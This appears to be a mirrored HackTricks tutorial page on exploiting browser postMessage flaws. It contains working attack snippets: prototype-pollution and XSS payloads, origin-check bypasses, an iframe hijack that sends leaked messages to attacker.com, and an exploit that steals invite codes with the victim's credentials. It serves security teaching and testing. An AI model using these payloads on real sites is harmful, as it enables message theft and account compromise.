mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 12:33:39 +00:00
221 lines
12 KiB
Markdown
221 lines
12 KiB
Markdown
# PostMessage Vulnerabilities
|
|
|
|
## PostMessage Vulnerabilities
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
## Send **PostMessage**
|
|
|
|
**PostMessage** uses the following function to send a message:
|
|
|
|
```bash
|
|
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
|
|
|
# postMessage to current page
|
|
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|
|
|
# postMessage to an iframe with id "idframe"
|
|
<iframe id="idframe" src="http://victim.com/"></iframe>
|
|
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|
|
|
# postMessage to an iframe via onload
|
|
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
|
|
|
# postMessage to popup
|
|
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
|
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|
|
|
# postMessage to an URL
|
|
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
|
|
|
# postMessage to iframe inside popup
|
|
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
|
## loop until win.length == 1 (until the iframe is loaded)
|
|
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|
```
|
|
|
|
Note that **targetOrigin** can be a '\*' or an URL like _https://company.com._\
|
|
In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different).\
|
|
If the **wildcard** is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object.
|
|
|
|
### Attacking iframe & wildcard in **targetOrigin**
|
|
|
|
As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\
|
|
Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.
|
|
|
|
```markup
|
|
<html>
|
|
<iframe src="https://docs.google.com/document/ID" />
|
|
<script>
|
|
setTimeout(exp, 6000); //Wait 6s
|
|
|
|
//Try to change the origin of the iframe each 100ms
|
|
function exp(){
|
|
setInterval(function(){
|
|
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
|
}, 100);
|
|
}
|
|
</script>
|
|
```
|
|
|
|
## addEventListener exploitation
|
|
|
|
**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\
|
|
A code similar to the following one will be used:
|
|
|
|
```javascript
|
|
window.addEventListener("message", (event) => {
|
|
if (event.origin !== "http://example.org:8080")
|
|
return;
|
|
|
|
// ...
|
|
}, false);
|
|
```
|
|
|
|
Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example).
|
|
|
|
### Enumeration
|
|
|
|
In order to **find event listeners** in the current page you can:
|
|
|
|
* **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
|
|
* **Execute** in the developer tools console: `getEventListeners(window)`
|
|
|
|
![](<../../.gitbook/assets/image (618) (1).png>)
|
|
|
|
* **Go to** _Elements --> Event Listeners_ in the developer tools of the browser
|
|
|
|
![](<../../.gitbook/assets/image (617).png>)
|
|
|
|
* Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.
|
|
|
|
### check origin basic bypasses
|
|
|
|
* If **`indexOf()`** is used to **check** the **origin** of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
|
|
* If **`search()`** is used to **validate** the **origin** could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.\
|
|
In regular expression, **a dot (.) is treated as a wildcard**. An attacker can take advantage of it and **use** a **special domain** instead of the official one to bypass the validation, like in: `"https://www.safedomain.com".search("www.s.fedomain.com")`.\\
|
|
* If **`escapeHtml`** function is used, the function does not create a `new` escaped object, instead it **overwrites properties** of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped.
|
|
|
|
```javascript
|
|
// Expected to fail:
|
|
result = u({
|
|
message: "'\"<b>\\"
|
|
});
|
|
result.message // "'"<b>\"
|
|
// Bypassed:
|
|
result = u(new Error("'\"<b>\\"));
|
|
result.message; // "'"<b>\"
|
|
```
|
|
|
|
`File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function.
|
|
|
|
### Bypassing e.origin == window.origin
|
|
|
|
When a page is embedded in a **sandboxed iframe** via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` the **origin** of that **iframe** will be **`null`**.
|
|
|
|
When the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
|
|
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
|
|
|
|
Therefore, if you open a **sandboxed iframe** allowing popups, and then you **opens a popup** from inside the iframe, and **send a postMessage** from the iframe **to the popup**, both origins are null so: **`e.origin == window.origin == null`**
|
|
|
|
For more information **read**:
|
|
|
|
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
|
|
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Bypassing e.source
|
|
|
|
You can force **`e.source`** of a message to be null by creating an **iframe** that **sends** the **postMessage** and is **immediately deleted**.
|
|
|
|
For more information **read:**
|
|
|
|
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
|
|
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
|
|
{% endcontent-ref %}
|
|
|
|
### X-Frame-Header bypass
|
|
|
|
In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\
|
|
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:
|
|
|
|
```markup
|
|
<script>
|
|
var w=window.open("<url>")
|
|
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
|
</script>
|
|
```
|
|
|
|
### Stealing message sent to child by blocking the main page
|
|
|
|
In the following page you can see how you could steal a **sensitive postmessage data** sent to a **child iframe** by **blocking** the **main** page before sending the data and abusing a **XSS in the child** to **leak the data** before it's received:
|
|
|
|
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
|
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Stealing message by modifying iframe location
|
|
|
|
if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**, so if it's receiving a **postmessage** sent using a **wildcard**, an attacker could **change** that iframe **origin** to a page **controlled** by him and **steal** the message:
|
|
|
|
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
|
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
|
{% endcontent-ref %}
|
|
|
|
### postMessage to Prototype Pollution and/or XSS
|
|
|
|
In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.
|
|
|
|
A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
|
|
|
Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:
|
|
|
|
```markup
|
|
<html>
|
|
<body>
|
|
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
|
<script>
|
|
function get_code() {
|
|
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
|
|
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
|
|
}
|
|
|
|
setTimeout(get_code, 2000);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
For **more information**:
|
|
|
|
* Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
|
|
* Link to page about [**XSS**](../xss-cross-site-scripting/)
|
|
* Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
|
|
|
## References
|
|
|
|
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
|
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
|
* To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|